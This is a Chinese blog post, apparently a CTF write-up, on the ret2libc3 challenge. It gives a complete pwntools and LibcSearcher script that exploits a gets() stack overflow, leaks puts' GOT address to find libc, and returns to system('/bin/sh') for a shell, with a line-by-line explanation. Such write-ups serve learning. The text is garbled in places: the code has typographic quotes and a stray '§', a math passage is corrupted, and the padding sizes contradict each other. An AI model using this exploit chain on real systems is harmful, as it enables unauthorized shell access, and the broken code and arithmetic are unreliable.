ret2libc3地址泄露--pwn

ret2libc3地址泄露–pwn


在此实验前,我们从简到难实验了ret2libc1,ret2libc2两个实验,对getshell有了一定了解,基本学会了如何在有无system及/bin/sh函数的情况下获取权限,在此以实验二的名为pwn的可执行文件为入手点,进行getshell。
首先,对ret2libc3可执行文件进行检测,

checksec ret2libc3

结果如图:
ret2libc3地址泄露--pwn_第1张图片
发现其不存在必要的保护。
其次将其进行IDA静态调试,发现其是没有system函数的,不能供我们直接执行,故我们需要进行已执行函数的got表泄露,来获取system与binsh的真实地址,从而执行他们,达到我们的目的。静态调试界面如下:
ret2libc3地址泄露--pwn_第2张图片
需要提的是,显而易见gets函数处存在栈溢出漏洞(申请64h大小,但是gets无限制),在gets之前已经运行了puts函数,故我们选择泄露puts函数的真实地址,因为其执行后真实地址等信息已经存入plt、got表内。
而怎么得到system函数的地址呢?这里需要用到两个知识点。

  1. system函数属于libc,而libc.so动态链接库中的函数之间的相对偏移是固定的,也就是说要找基地址,则有公式:A真实地址-A的偏移地址 = B真实地址-B的偏移地址 = 基地址。
    2.由于libc的延迟绑定机制,我们需要泄漏已经执行过的函数的地址,已经执行过的话就会在got表生存下来,有了真实的地址的信息。这就是上文提到的选用puts函数,因为他已经执行过一遍。

接下来便是写脚本、运行脚本。脚本主要内容如下:

from pwn import *
from LibcSearcher import *
import pwnlib

context.log_level=‘debug’
context.terminal=[‘gnome-terminal’,’-x’,‘sh’,’-c’]

p=process(’./ret2libc3’)
elf=ELF(’./ret2libc3’)
main=0x08048618
payload=‘a’*(0x6c+4)+p32(elf.plt[‘puts’])+p32(main)+p32(elf.got[‘puts’])
gdb.attach§
p.recvuntil(’?’)

p.sendline(payload)

puts=u32(p.recv(4))

print(‘puts’,hex(puts))
libc =LibcSearcher(‘puts’,puts)
libcbase=puts-libc.dump(‘puts’)
system=libcbase+libc.dump(‘system’)
bin_sh=libcbase+libc.dump(‘str_bin_sh’)
print(‘system’,hex(system))
print(‘binsh’,hex(bin_sh))
payload=‘a’*(0x64+4)+p32(system)+p32(0xdeadbeef)+p32(bin_sh)

p.sendline(payload)
p.interactive()

再进行比较详细的介绍(数字代表代码的第某行):
1:调用库函数–pwn
2:调用库函数–LibcSearcher
3:调用pwnlib库,是便于进行动态调试,我们加上的断点信息
5:调用函数,其包含一些调试的基础工具
6:用于打开一个新的终端直接在命令行
8:打开该可执行文件
9:以二进制文件形式打开可执行文件
10:写入参数,main的地址,通过IDA查看得到
ret2libc3地址泄露--pwn_第3张图片
11:写下payload,通过第一次执行到main函数,根据lea语句以及 e s p 与 esp与 espebp寄存器的值,推算出此时缓冲区的大小为0x70,于是我们填充112(0x6c+4)个字符a到ret位置(下文讲述如何得到需要填充的字符个数),并将plt表中puts函数的内容填入,由于plt表内容是指向got表的地址,于是我们便得到了got表中puts函数的真实地址,接着在ret+4的单元存入main函数的地址,因为我们需要再次执行main,以求再次溢出,得到system与/bin/sh的真实地址。下面是plt表与got表项的对应关系;
ret2libc3地址泄露--pwn_第4张图片
ret2libc3地址泄露--pwn_第5张图片
此时第一次执行到main函数,我们算出此时需要填充的的字符个数=0xffbd98+0x4-0xffbd10-0x1c=0x70=112。
12:断点信息
13:接收掉原文件的输出语句内容,如果不接收,则输入的payload便无法与之交互,文件的执行就会一直处于等待状态
15:发送payload,进行栈的填充
17:得到puts函数的真实地址,recv(4)是指只接收四个字节的信息,因为puts的地址信息只存在于前四个字节,u32是指解包unpack,将一块数据解包成四个字节
19:输出十六进制下的puts函数真实地址
20:明确该版本下的LibcSearcher的类型
21:puts函数的真实地址减去偏移量(dump)得到基址
22:基址加上system的偏移量得到system的真实地址
23:基址加上字符串"str_bin_sh"的偏移量得到/bin/sh的真实地址
24:输出十六进制下的system函数真实地址
25:输出十六进制下的/bin/sh函数真实地址
26:写下payload,进行栈溢出,第二季执行到main函数时,同理,利用此时寄存器的值计算得到需要填充的字符个数,此时为108(0x64+4)个,接着将system的地址填充到返回ret处,将/bin/sh/填充到ret+8处,在ret+4处填入deadbeef,内容无关紧要,四个字节大小,可以理解为获取权限的一种标志吧。
ret2libc3地址泄露--pwn_第6张图片
此时填充个数= e b p + 4 − ( ebp+4-( ebp+4(exp+1c)=0xf7f28d40+0x4-0xf7f28cc0-0x1c=0x68=104

28:发送payload,进行getshell
29:实现交互

运行脚本后,我们可以进入GDB中,动态调试文件,看到每一步的执行过程,最终得到结果,在命令行输入ls,获取权限,成功。
ret2libc3地址泄露--pwn_第7张图片

你可能感兴趣的:(pwn_study)